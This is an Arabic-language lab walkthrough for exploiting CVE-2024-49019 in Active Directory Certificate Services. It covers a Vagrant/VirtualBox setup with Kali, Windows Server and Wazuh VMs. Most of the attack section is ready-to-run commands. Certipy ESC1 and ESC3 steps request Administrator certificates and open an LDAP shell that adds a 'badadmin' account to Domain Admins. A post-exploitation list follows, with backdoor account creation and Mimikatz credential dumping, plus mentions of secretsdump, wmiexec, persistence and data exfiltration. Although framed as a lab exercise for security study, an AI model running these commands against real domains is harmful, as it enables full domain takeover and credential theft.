استغلال CVE-2024-49019: تصعيد امتيازات سلطة التصديق

نظرة عامة

CVE-2024-49019 هي ثغرة أمنية في خدمات شهادات Active Directory (AD CS) تسمح للمهاجم بتصعيد الامتيازات من خلال إساءة استخدام المصادقة المستندة إلى الشهادات. يوضح هذا الدليل كيفية استغلال هذه الثغرة باستخدام Certipy.

جدول بيانات الاعتماد

يُستخدم الجهاز الافتراضي Ubuntu-Wazuh لأغراض الكشف. دليل الكشف التخفيف

الخطوة 1: استنساخ المستودع وإعداد الأجهزة الافتراضية

أولاً، استنسخ المستودع الذي يحتوي على الملفات اللازمة:

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

تثبيت Vagrant

يجب عليك تثبيت Vagrant على جهازك المضيف قبل المتابعة.

لنظام Windows

قم بتنزيل وتثبيت Vagrant من هنا، أو ثبّته باستخدام PowerShell:

choco install vagrant

لنظام Linux

sudo apt update && sudo apt install vagrant -y

إعداد الأجهزة الافتراضية

جهاز Windows Server 2022 الافتراضي

cd windows-server2022
vagrant up

جهاز Kali Linux الافتراضي

cd kali-VM
vagrant up

جهاز Wazuh Ubuntu الافتراضي

cd WazuhUbuntu
vagrant up

الخطوة 2: تكوين الشبكة الافتراضية

نظرًا لأن الاستغلال يتطلب شبكة NAT، قم بتكوين VirtualBox على النحو التالي:

على Windows

قبل تشغيل الأمر أدناه، تأكد من إضافة VBoxManage إلى متغيرات البيئة لديك. إذا لم يكن كذلك، فقم بتنفيذ الأمر باستخدام مساره الكامل:

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

إذا لم يتم التعرف على VBoxManage، استخدم:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

على Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

تأكد من فحص جميع الأجهزة الافتراضية في VirtualBox والتأكد من إسنادها إلى محول الشبكة NatNetwork - NatNet1. يمكنك إنشاء شبكة NAT باسم مختلف، لكن يجب أن تكون ضمن نطاق IP 10.0.2.0/24.

ملاحظة: يُوصى بإعداد DNS لخادم Wazuh. في هذه الحالة يجب أن يكون DNS: 10.0.2.1 - في بعض الأحيان، بدون إنترنت سيفشل فحص API ولن تتمكن من الدخول إلى لوحة تحكم Wazuh

الخطوة 3: تعديل ملف Hosts

قبل المتابعة، تأكد من تشغيل جميع الأجهزة الافتراضية.

قم بالوصول إلى جهاز Kali Linux الافتراضي لبدء الهجوم وتحديث ملف /etc/hosts الخاص بك:

sudo nano /etc/hosts

أضف الإدخال التالي:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

احفظ ثم اخرج.

الخطوة 4: إعداد البيئة

انتقل إلى دليل CVE-49019 وقم بتفعيل البيئة الافتراضية لـ Python:

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

الخطوة 5: طرق الاستغلال

توجد طريقتان لاستغلال هذه الثغرة: ESC1 و ESC3.

طريقة ESC1

البحث عن القوالب القابلة للاستغلال

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

طلب شهادة

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

استخدام الشهادة للوصول إلى شل LDAP

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

إضافة مستخدم جديد

add_user badadmin

إضافة المستخدم إلى مجموعة Domain Admins

add_user_to_group badadmin "Domain Admins"

طريقة ESC3

البحث عن القوالب القابلة للاستغلال

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

طلب شهادة من مستخدم الاختبار

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

طلب شهادة لمسؤول المجال باستخدام شهادة testuser

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

هنا تختلف هذه الطريقة عن ESC1 حيث يمكنها طلب PKINIT والحصول على التجزئات من TGT

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

ملاحظة: في حال واجهت خطأ: أثناء محاولة طلب TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(تباين الساعة كبير جدًا)

يوجد حل بديل، تأكد من أن جهازك المضيف لديه نفس الوقت الذي يملكه خادم Windows نفسه. تأكد من تنفيذ هذا الأمر لتحديث جهاز Kali-Linux الافتراضي ليكون مطابقًا لتوقيت Windows-Server.

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

تأكد من أن Windows-Server لديه نفس المنطقة الزمنية كجهازك المضيف. ضع في اعتبارك أنه لا يمكن تعديلها بسبب المؤسسة. يرجى الانتقال إلى إعدادات التاريخ والمنطقة الزمنية (Date & Time Zone) لتغييرها يدويًا لتتوافق مع الجهاز المضيف. يجب أن يكون Kali-VM وWindows Server بنفس توقيت الجهاز المضيف.

يمكنك محاولة فرض مزامنة الوقت باستخدام الأمر أدناه

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

استخدام الشهادة للحصول على وصول المسؤول

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

الخطوة 6: ماذا يمكنك أن تفعل بعد الاستغلال؟

بمجرد الحصول على وصول بمستوى المسؤول، يمكن للمهاجم:

• إنشاء وإدارة حسابات المستخدمين
  root@kitploit:~

  net user hacked /add
  net localgroup "Administrators" hacked /add
  

• تفريغ بيانات الاعتماد باستخدام Mimikatz:
  root@kitploit:~

  sekurlsa::logonpasswords
  

• **Secretdump باستخدام Impacket
• **Wmiexec للوصول إلى شل خادم Windows
• **تغيير مسؤول Windows Server باستخدام BloodyAD
• التنقل والتحرك الجانبي داخل الشبكة
• إنشاء استمرارية
• تسريب البيانات الحساسة

بالنسبة لـ استراتيجيات الكشف والتخفيف، راجع دليل الكشف.

الخلاصة

تمثل CVE-2024-49019 خطرًا أمنيًا كبيرًا نظرًا لقدرتها على السماح بتصعيد الامتيازات غير المصرح به. يعد فهم هذه الثغرة ونشر آليات الكشف المناسبة، مثل استخدام Wazuh، أمرًا بالغ الأهمية لتأمين بيئات Active Directory.

لمزيد من المعلومات حول تأمين AD CS، راجع Microsoft Security CVE-2024-49019.